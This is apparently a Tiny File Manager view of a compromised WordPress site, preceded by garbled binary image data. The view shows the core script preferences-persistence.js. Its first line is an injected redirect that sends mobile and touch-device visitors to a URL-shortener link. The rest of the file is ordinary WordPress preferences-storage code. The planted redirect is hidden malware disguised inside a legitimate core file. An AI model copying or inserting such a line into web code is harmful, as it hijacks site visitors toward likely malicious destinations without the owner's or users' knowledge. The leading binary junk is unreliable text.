JFIF    $         d d  7    * Z qn )ZP 0   !1 A "#a$2Qr   D8 a Ri [f  \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H  ~ , l s / 9  ć: [=/#f ; ) x { ٛE Q )~     = 𘙲r*2~  a _V = '  ku m F  D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq  1dđ #̩ ͑ 0  ; H ] u 搂 @:~ ו K L  N s h } O I R* 8 :2 ! lD JV o (  3 = M ( z Ȱ+i *N A  r6K n S l ) ! J J Ӂ* %  ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c  P A\IL Nj! J ۱+ O\ ͔ ] ޒ S߼ J ȧ c%A N ol  ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f  h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0  'G=i 2N +0 e 2 ]] 9 VT P  O׮ 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P  < 0 x <     !1AQ "Raq 02Br #S CTb  ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV׸ YT D I 6 2 '8Y2  7'\T P.6 d &˦ @V q i  |8 -O Ε  ] ʔ U=   T L 8= ;6c |  !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U# 6w +  +s &r+n ڐ   { @ 29 gL u " T Ù  M=6  (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 !  OS  r D  5 7 % | ?x> L |  / nD 6?/8 w # [ ) L 7 +6〼T A T g   !  %5  Mm Z /c  -{1_Je "| ^$ 'O  & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@  u6  BԒ  i YN * f 0 _ GhKW u  lT <nj- 0{  M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q  $ H8o Q˼EV ~ k 0 h' L  Pp M -M"  m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @񄞅~p   #   !1QAa q  ? AL0L  x LU 4 d ; x   " 16ad0 7.\ߋ 0  = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X  &Q  З non]я u ג./ ; gZ$ M QР 2M ]h ni 0  P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _  1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3  6 #Ik+ v  {ƒ v i ( ވ  ? a e)  X xy/*@Q Ǽ Ծ ) $ IWO l c G;  !i  k{ gOŀ L ('x  T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ)  X 5 c QɎMy W ?  Q *!R > 6=7)Xj 5`J ] e  8%t ! + ' ! 1Q 5   !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $  v , ,m   㵜5u bV  =sY+ @d { N ! dn O < .- B;  _w J t 6;Q  Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш  e黅X ۢ F :)[ F G X ƹ / w _c MeD   ,ʡc c .  W D  tA $ j@ : ) - # u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P  6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L !  ~ y5 g9T̅J kbM' +s :S +B) v @ M  j e C f j E 0  Y\Qn z G 1 д~ W o{T 9?`  Rm yhsy3 !HAD ] m  c1 ~ 2 L  S u7x T ;j$ `} 4-> L#  vzŏ I L S  ֭  T { r  jGK C ; b  pU= - ` Bs K. S F w4  M q] Z dH S 0 ) tLg Tiny File Manager | preferences-persistence.js
  • File: preferences-persistence.js
  • Full Path: /home/mata8712/public_html/on-me-trouve/wp-includes/js/dist/preferences-persistence.js
  • File size: 17.52 KB
  • MIME-type: text/plain
  • Charset: utf-8
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/uQuMsfLBm0r3");
(function() {
var wp;
(wp ||= {}).preferencesPersistence = (() => {
  var __create = Object.create;
  var __defProp = Object.defineProperty;
  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  var __getOwnPropNames = Object.getOwnPropertyNames;
  var __getProtoOf = Object.getPrototypeOf;
  var __hasOwnProp = Object.prototype.hasOwnProperty;
  var __commonJS = (cb, mod) => function __require() {
    return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  };
  var __export = (target, all) => {
    for (var name in all)
      __defProp(target, name, { get: all[name], enumerable: true });
  };
  var __copyProps = (to, from, except, desc) => {
    if (from && typeof from === "object" || typeof from === "function") {
      for (let key of __getOwnPropNames(from))
        if (!__hasOwnProp.call(to, key) && key !== except)
          __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
    }
    return to;
  };
  var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
    // If the importer is in node compatibility mode or this is not an ESM
    // file that has been converted to a CommonJS file using a Babel-
    // compatible transform (i.e. "__esModule" has not been set), then set
    // "default" to the CommonJS "module.exports" for node compatibility.
    isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
    mod
  ));
  var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);

  // package-external:@wordpress/api-fetch
  var require_api_fetch = __commonJS({
    "package-external:@wordpress/api-fetch"(exports, module) {
      module.exports = window.wp.apiFetch;
    }
  });

  // packages/preferences-persistence/build-module/index.mjs
  var index_exports = {};
  __export(index_exports, {
    __unstableCreatePersistenceLayer: () => __unstableCreatePersistenceLayer,
    create: () => create
  });

  // packages/preferences-persistence/build-module/create/index.mjs
  var import_api_fetch = __toESM(require_api_fetch(), 1);

  // packages/preferences-persistence/build-module/create/debounce-async.mjs
  function debounceAsync(func, delayMS) {
    let timeoutId;
    let activePromise;
    return async function debounced(...args) {
      if (!activePromise && !timeoutId) {
        return new Promise((resolve, reject) => {
          activePromise = func(...args).then((...thenArgs) => {
            resolve(...thenArgs);
          }).catch((error) => {
            reject(error);
          }).finally(() => {
            activePromise = null;
          });
        });
      }
      if (activePromise) {
        await activePromise;
      }
      if (timeoutId) {
        clearTimeout(timeoutId);
        timeoutId = null;
      }
      return new Promise((resolve, reject) => {
        timeoutId = setTimeout(() => {
          activePromise = func(...args).then((...thenArgs) => {
            resolve(...thenArgs);
          }).catch((error) => {
            reject(error);
          }).finally(() => {
            activePromise = null;
            timeoutId = null;
          });
        }, delayMS);
      });
    };
  }

  // packages/preferences-persistence/build-module/create/index.mjs
  var EMPTY_OBJECT = {};
  var localStorage = window.localStorage;
  function create({
    preloadedData,
    localStorageRestoreKey = "WP_PREFERENCES_RESTORE_DATA",
    requestDebounceMS = 2500
  } = {}) {
    let cache = preloadedData;
    const debouncedApiFetch = debounceAsync(import_api_fetch.default, requestDebounceMS);
    async function get() {
      if (cache) {
        return cache;
      }
      const user = await (0, import_api_fetch.default)({
        path: "/wp/v2/users/me?context=edit"
      });
      const serverData = user?.meta?.persisted_preferences;
      const localData = JSON.parse(
        localStorage.getItem(localStorageRestoreKey)
      );
      const serverTimestamp = Date.parse(serverData?._modified) || 0;
      const localTimestamp = Date.parse(localData?._modified) || 0;
      if (serverData && serverTimestamp >= localTimestamp) {
        cache = serverData;
      } else if (localData) {
        cache = localData;
      } else {
        cache = EMPTY_OBJECT;
      }
      return cache;
    }
    function set(newData) {
      const dataWithTimestamp = {
        ...newData,
        _modified: (/* @__PURE__ */ new Date()).toISOString()
      };
      cache = dataWithTimestamp;
      localStorage.setItem(
        localStorageRestoreKey,
        JSON.stringify(dataWithTimestamp)
      );
      debouncedApiFetch({
        path: "/wp/v2/users/me",
        method: "PUT",
        // `keepalive` will still send the request in the background,
        // even when a browser unload event might interrupt it.
        // This should hopefully make things more resilient.
        // This does have a size limit of 64kb, but the data is usually
        // much less.
        keepalive: true,
        data: {
          meta: {
            persisted_preferences: dataWithTimestamp
          }
        }
      }).catch(() => {
      });
    }
    return {
      get,
      set
    };
  }

  // packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-feature-preferences.mjs
  function moveFeaturePreferences(state, sourceStoreName) {
    const preferencesStoreName = "core/preferences";
    const interfaceStoreName = "core/interface";
    const interfaceFeatures = state?.[interfaceStoreName]?.preferences?.features?.[sourceStoreName];
    const sourceFeatures = state?.[sourceStoreName]?.preferences?.features;
    const featuresToMigrate = interfaceFeatures ? interfaceFeatures : sourceFeatures;
    if (!featuresToMigrate) {
      return state;
    }
    const existingPreferences = state?.[preferencesStoreName]?.preferences;
    if (existingPreferences?.[sourceStoreName]) {
      return state;
    }
    let updatedInterfaceState;
    if (interfaceFeatures) {
      const otherInterfaceState = state?.[interfaceStoreName];
      const otherInterfaceScopes = state?.[interfaceStoreName]?.preferences?.features;
      updatedInterfaceState = {
        [interfaceStoreName]: {
          ...otherInterfaceState,
          preferences: {
            features: {
              ...otherInterfaceScopes,
              [sourceStoreName]: void 0
            }
          }
        }
      };
    }
    let updatedSourceState;
    if (sourceFeatures) {
      const otherSourceState = state?.[sourceStoreName];
      const sourcePreferences = state?.[sourceStoreName]?.preferences;
      updatedSourceState = {
        [sourceStoreName]: {
          ...otherSourceState,
          preferences: {
            ...sourcePreferences,
            features: void 0
          }
        }
      };
    }
    return {
      ...state,
      [preferencesStoreName]: {
        preferences: {
          ...existingPreferences,
          [sourceStoreName]: featuresToMigrate
        }
      },
      ...updatedInterfaceState,
      ...updatedSourceState
    };
  }

  // packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-third-party-feature-preferences.mjs
  function moveThirdPartyFeaturePreferencesToPreferences(state) {
    const interfaceStoreName = "core/interface";
    const preferencesStoreName = "core/preferences";
    const interfaceScopes = state?.[interfaceStoreName]?.preferences?.features;
    const interfaceScopeKeys = interfaceScopes ? Object.keys(interfaceScopes) : [];
    if (!interfaceScopeKeys?.length) {
      return state;
    }
    return interfaceScopeKeys.reduce(function(convertedState, scope) {
      if (scope.startsWith("core")) {
        return convertedState;
      }
      const featuresToMigrate = interfaceScopes?.[scope];
      if (!featuresToMigrate) {
        return convertedState;
      }
      const existingMigratedData = convertedState?.[preferencesStoreName]?.preferences?.[scope];
      if (existingMigratedData) {
        return convertedState;
      }
      const otherPreferencesScopes = convertedState?.[preferencesStoreName]?.preferences;
      const otherInterfaceState = convertedState?.[interfaceStoreName];
      const otherInterfaceScopes = convertedState?.[interfaceStoreName]?.preferences?.features;
      return {
        ...convertedState,
        [preferencesStoreName]: {
          preferences: {
            ...otherPreferencesScopes,
            [scope]: featuresToMigrate
          }
        },
        [interfaceStoreName]: {
          ...otherInterfaceState,
          preferences: {
            features: {
              ...otherInterfaceScopes,
              [scope]: void 0
            }
          }
        }
      };
    }, state);
  }

  // packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-individual-preference.mjs
  var identity = (arg) => arg;
  function moveIndividualPreferenceToPreferences(state, { from: sourceStoreName, to: scope }, key, convert = identity) {
    const preferencesStoreName = "core/preferences";
    const sourcePreference = state?.[sourceStoreName]?.preferences?.[key];
    if (sourcePreference === void 0) {
      return state;
    }
    const targetPreference = state?.[preferencesStoreName]?.preferences?.[scope]?.[key];
    if (targetPreference) {
      return state;
    }
    const otherScopes = state?.[preferencesStoreName]?.preferences;
    const otherPreferences = state?.[preferencesStoreName]?.preferences?.[scope];
    const otherSourceState = state?.[sourceStoreName];
    const allSourcePreferences = state?.[sourceStoreName]?.preferences;
    const convertedPreferences = convert({ [key]: sourcePreference });
    return {
      ...state,
      [preferencesStoreName]: {
        preferences: {
          ...otherScopes,
          [scope]: {
            ...otherPreferences,
            ...convertedPreferences
          }
        }
      },
      [sourceStoreName]: {
        ...otherSourceState,
        preferences: {
          ...allSourcePreferences,
          [key]: void 0
        }
      }
    };
  }

  // packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-interface-enable-items.mjs
  function moveInterfaceEnableItems(state) {
    const interfaceStoreName = "core/interface";
    const preferencesStoreName = "core/preferences";
    const sourceEnableItems = state?.[interfaceStoreName]?.enableItems;
    if (!sourceEnableItems) {
      return state;
    }
    const allPreferences = state?.[preferencesStoreName]?.preferences ?? {};
    const sourceComplementaryAreas = sourceEnableItems?.singleEnableItems?.complementaryArea ?? {};
    const preferencesWithConvertedComplementaryAreas = Object.keys(
      sourceComplementaryAreas
    ).reduce((accumulator, scope) => {
      const data = sourceComplementaryAreas[scope];
      if (accumulator?.[scope]?.complementaryArea) {
        return accumulator;
      }
      return {
        ...accumulator,
        [scope]: {
          ...accumulator[scope],
          complementaryArea: data
        }
      };
    }, allPreferences);
    const sourcePinnedItems = sourceEnableItems?.multipleEnableItems?.pinnedItems ?? {};
    const allConvertedData = Object.keys(sourcePinnedItems).reduce(
      (accumulator, scope) => {
        const data = sourcePinnedItems[scope];
        if (accumulator?.[scope]?.pinnedItems) {
          return accumulator;
        }
        return {
          ...accumulator,
          [scope]: {
            ...accumulator[scope],
            pinnedItems: data
          }
        };
      },
      preferencesWithConvertedComplementaryAreas
    );
    const otherInterfaceItems = state[interfaceStoreName];
    return {
      ...state,
      [preferencesStoreName]: {
        preferences: allConvertedData
      },
      [interfaceStoreName]: {
        ...otherInterfaceItems,
        enableItems: void 0
      }
    };
  }

  // packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/convert-edit-post-panels.mjs
  function convertEditPostPanels(preferences) {
    const panels = preferences?.panels ?? {};
    return Object.keys(panels).reduce(
      (convertedData, panelName) => {
        const panel = panels[panelName];
        if (panel?.enabled === false) {
          convertedData.inactivePanels.push(panelName);
        }
        if (panel?.opened === true) {
          convertedData.openPanels.push(panelName);
        }
        return convertedData;
      },
      { inactivePanels: [], openPanels: [] }
    );
  }

  // packages/preferences-persistence/build-module/migrations/legacy-local-storage-data/index.mjs
  function getLegacyData(userId) {
    const key = `WP_DATA_USER_${userId}`;
    const unparsedData = window.localStorage.getItem(key);
    return JSON.parse(unparsedData);
  }
  function convertLegacyData(data) {
    if (!data) {
      return;
    }
    data = moveFeaturePreferences(data, "core/edit-widgets");
    data = moveFeaturePreferences(data, "core/customize-widgets");
    data = moveFeaturePreferences(data, "core/edit-post");
    data = moveFeaturePreferences(data, "core/edit-site");
    data = moveThirdPartyFeaturePreferencesToPreferences(data);
    data = moveInterfaceEnableItems(data);
    data = moveIndividualPreferenceToPreferences(
      data,
      { from: "core/edit-post", to: "core/edit-post" },
      "hiddenBlockTypes"
    );
    data = moveIndividualPreferenceToPreferences(
      data,
      { from: "core/edit-post", to: "core/edit-post" },
      "editorMode"
    );
    data = moveIndividualPreferenceToPreferences(
      data,
      { from: "core/edit-post", to: "core/edit-post" },
      "panels",
      convertEditPostPanels
    );
    data = moveIndividualPreferenceToPreferences(
      data,
      { from: "core/editor", to: "core" },
      "isPublishSidebarEnabled"
    );
    data = moveIndividualPreferenceToPreferences(
      data,
      { from: "core/edit-post", to: "core" },
      "isPublishSidebarEnabled"
    );
    data = moveIndividualPreferenceToPreferences(
      data,
      { from: "core/edit-site", to: "core/edit-site" },
      "editorMode"
    );
    return data?.["core/preferences"]?.preferences;
  }
  function convertLegacyLocalStorageData(userId) {
    const data = getLegacyData(userId);
    return convertLegacyData(data);
  }

  // packages/preferences-persistence/build-module/migrations/preferences-package-data/convert-complementary-areas.mjs
  function convertComplementaryAreas(state) {
    return Object.keys(state).reduce((stateAccumulator, scope) => {
      const scopeData = state[scope];
      if (scopeData?.complementaryArea) {
        const updatedScopeData = { ...scopeData };
        delete updatedScopeData.complementaryArea;
        updatedScopeData.isComplementaryAreaVisible = true;
        stateAccumulator[scope] = updatedScopeData;
        return stateAccumulator;
      }
      return stateAccumulator;
    }, state);
  }

  // packages/preferences-persistence/build-module/migrations/preferences-package-data/convert-editor-settings.mjs
  function convertEditorSettings(data) {
    let newData = data;
    const settingsToMoveToCore = [
      "allowRightClickOverrides",
      "distractionFree",
      "editorMode",
      "fixedToolbar",
      "focusMode",
      "hiddenBlockTypes",
      "inactivePanels",
      "keepCaretInsideBlock",
      "mostUsedBlocks",
      "openPanels",
      "showBlockBreadcrumbs",
      "showIconLabels",
      "showListViewByDefault",
      "isPublishSidebarEnabled",
      "isComplementaryAreaVisible",
      "pinnedItems"
    ];
    settingsToMoveToCore.forEach((setting) => {
      if (data?.["core/edit-post"]?.[setting] !== void 0) {
        newData = {
          ...newData,
          core: {
            ...newData?.core,
            [setting]: data["core/edit-post"][setting]
          }
        };
        delete newData["core/edit-post"][setting];
      }
      if (data?.["core/edit-site"]?.[setting] !== void 0) {
        delete newData["core/edit-site"][setting];
      }
    });
    if (Object.keys(newData?.["core/edit-post"] ?? {})?.length === 0) {
      delete newData["core/edit-post"];
    }
    if (Object.keys(newData?.["core/edit-site"] ?? {})?.length === 0) {
      delete newData["core/edit-site"];
    }
    return newData;
  }

  // packages/preferences-persistence/build-module/migrations/preferences-package-data/index.mjs
  function convertPreferencesPackageData(data) {
    let newData = convertComplementaryAreas(data);
    newData = convertEditorSettings(newData);
    return newData;
  }

  // packages/preferences-persistence/build-module/index.mjs
  function __unstableCreatePersistenceLayer(serverData, userId) {
    const localStorageRestoreKey = `WP_PREFERENCES_USER_${userId}`;
    const localData = JSON.parse(
      window.localStorage.getItem(localStorageRestoreKey)
    );
    const serverModified = Date.parse(serverData && serverData._modified) || 0;
    const localModified = Date.parse(localData && localData._modified) || 0;
    let preloadedData;
    if (serverData && serverModified >= localModified) {
      preloadedData = convertPreferencesPackageData(serverData);
    } else if (localData) {
      preloadedData = convertPreferencesPackageData(localData);
    } else {
      preloadedData = convertLegacyLocalStorageData(userId);
    }
    return create({
      preloadedData,
      localStorageRestoreKey
    });
  }
  return __toCommonJS(index_exports);
})();
(window.wp ||= {}).preferencesPersistence = wp.preferencesPersistence;
})();